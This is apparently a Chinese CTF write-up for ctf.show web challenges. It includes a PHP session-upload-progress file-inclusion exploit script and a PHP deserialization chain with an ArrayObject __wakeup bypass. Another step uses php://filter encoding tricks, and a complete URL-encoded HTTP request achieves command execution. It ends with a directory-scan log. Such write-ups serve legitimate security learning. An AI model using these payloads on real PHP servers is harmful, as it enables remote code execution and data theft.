easy_include
#file协议的session文件包含
1 2 3 4 5 6 7 8 9 10
| <?php
function waf($path){ $path = str_replace(".","",$path); return preg_match("/^[a-z]+/",$path); }
if(waf($_POST[1])){ include "file://".$_POST[1]; }
|
要求必须是小写字母开头,而且不能路径遍历
如果是根目录的话需要加上localhost
cookie开启了session,直接打session文件包含就行,这道题还不需要竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests
url = "http://233551ec-d2da-45e8-8af2-4653abab5cf2.challenge.ctf.show/"
data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>', '1':'localhost/tmp/sess_ctfshow', '2':'system("cat /flag_is_here.txt");' } file = { 'file': 'ctfshow' } cookies = { 'PHPSESSID': 'ctfshow' }
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
|
easy_web
#反序列化bypass+编码器处理垃圾字符
php版本为5.5.9
先不看waf了,先看下面的关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| class ctf{ public $h1; public $h2;
public function __wakeup(){ throw new Exception("fastfast"); }
public function __destruct() { $this->h1->nonono($this->h2); } }
class show{
public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; } } }
class Chu0_write{ public $chu0; public $chu1; public $cmd; public function __construct(){ $this->chu0 = 'xiuxiuxiu'; }
public function __toString(){ echo "__toString"."<br>"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."<br>"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; }
file_put_contents("ctfw.txt",""); } return "Go on"; } } if (!$_GET['show_show.show']){ echo "开胃小菜,就让我成为签到题叭"; highlight_file(__FILE__); }else{ echo "WAF,启动!"; waf1($_REQUEST); waf2($_SERVER['QUERY_STRING']); if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ unserialize($_GET['show_show.show']); }else{ echo "被waf啦"; }
}
|
反序列化,先写个链子
1
| ctf::__destruct()->show::__call()->Chu0_write::__toString()
|
最终需要进入到__toString
本地调试一下链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class ctf{ public $h1; public $h2; }
class show{ }
class Chu0_write{ public $chu0; public $chu1; public $cmd; } $Chu0_writ = new chu0_write(); $ctf = new ctf(); $ctf -> h1 = new show(); $ctf -> h2 = [ [ 0 => "", 1 => "", 2 => $Chu0_writ ] ]; echo urlencode(serialize($ctf));
|
然后我们来看waf
1 2 3 4 5 6 7 8
| function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } } } waf1($_REQUEST);
|
对键值对的值过滤了小写字母,$_REQUEST会同时接受GET和post里面的请求,但是post的优先级更高,所以随便传post传一个数字就能绕过就行了
1 2 3 4 5
| function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2"); } waf2($_SERVER['QUERY_STRING']);
|
会检查查询字符串是否包含show,因为我们需要传show_show.show才能进入else分支,可以用url编码进行绕过
1 2
| if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ unserialize($_GET['show_show.show']);
|
经典的绕过wakeup方法,用C打头去绕过,用原生类ArrayObject类去打包一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class ctf{ public $h1; public $h2; }
class show{ }
class Chu0_write{ public $chu0; public $chu1; public $cmd; } $Chu0_writ = new chu0_write(); $ctf = new ctf(); $ctf -> h1 = new show(); $ctf -> h2 = [ [ 0 => "", 1 => "", 2 => $Chu0_writ ] ]; $arr = array("111"=>$ctf); $poc = new ArrayObject($arr); echo serialize($poc);
|
接着我们看看__toString中的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."<br>"; if($count!=1){ return True; } if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; } }
public function __toString(){ echo "__toString"."<br>"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt');
|
需要chu0和chu1相等,并且会将content写入txt文件中,看到waf_in_waf_php函数中,要求要出现一次base64字符串且不能出现ucs-2|phar|data|input|zip|flag|\%,意图很明显了,我们需要往ctfw.txt里面写代码,那么这里的name就只能是包含ctfw+任何东西
但是这里可以看到$content里面有一堆垃圾字符会影响我们的chu0,需要用多次编码去处理垃圾字符,让垃圾字符为非法的base64字符,这样在base64解码的时候就会忽略这些字符
1 2 3 4 5
| <?php $b="lajizufu"; $payload=iconv('utf8','utf-16',base64_encode($b)); echo quoted_printable_encode($payload); ?>
|
最终可以得出我们的name参数
1
| ?name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw
|
然后对于传进去的chu0,我们构造一个system吧,但是这里也是需要编码的
1 2 3 4 5
| <?php $b="system"; $payload=iconv('utf-8','utf-16',base64_encode($b)); echo quoted_printable_encode($payload); ?>
|
得到chu0的内容为=FE=FF=00c=003=00l=00z=00d=00G=00V=00t,只保留c=003=00l=00z=00d=00G=00V=00t
所以最后的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%38%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%34%3a%22%65%76%69%6c%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%31%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env HTTP/1.1 Host: 1da8ff86-acfd-476f-af7e-bd35d193b284.challenge.ctf.show Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive Content-Length: 36 Content-Type: application/x-www-form-urlencoded
show[show.show=1&chu0=1&cmd=1&name=1
|
需要注意的是,序列化字符串需要url全编码,不然里面的show对象会触发waf2
孤注一掷
扫目录扫出好多东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| [19:43:12] Scanning: [19:43:14] 200 - 10KB - /.DS_Store [19:43:15] 200 - 221B - /.htaccess [19:43:24] 403 - 555B - /application/ [19:43:24] 403 - 555B - /application/configs/application.ini [19:43:24] 403 - 555B - /application/cache/ [19:43:24] 403 - 555B - /application/logs/ [19:43:24] 301 - 169B - /assets -> http://150aae15-d382-43f0-bb42-e37600dd5311.challenge.ctf.show/assets/ [19:43:24] 403 - 555B - /assets/ [19:43:26] 200 - 181B - /check.php [19:43:30] 200 - 143B - /gotoURL.asp?url=google.com&id=43569 [19:43:31] 200 - 10KB - /install.php [19:43:31] 200 - 10KB - /install.php?profile=default [19:43:36] 200 - 143B - /plugins/servlet/gadgets/makeRequest?url=https://google.com [19:43:37] 403 - 555B - /protected/runtime/ [19:43:38] 200 - 32B - /robots.txt [19:43:39] 301 - 169B - /static -> http://150aae15-d382-43f0-bb42-e37600dd5311.challenge.ctf.show/static/ [19:43:40] 301 - 169B - /template -> http://150aae15-d382-43f0-bb42-e37600dd5311.challenge.ctf.show/template/ [19:43:40] 403 - 555B - /template/ [19:43:41] 301 - 169B - /uploads -> http://150aae15-d382-43f0-bb42-e37600dd5311.challenge.ctf.show/uploads/ [19:43:41] 403 - 555B - /uploads/ [19:43:43] 200 - 570KB - /www.zip
|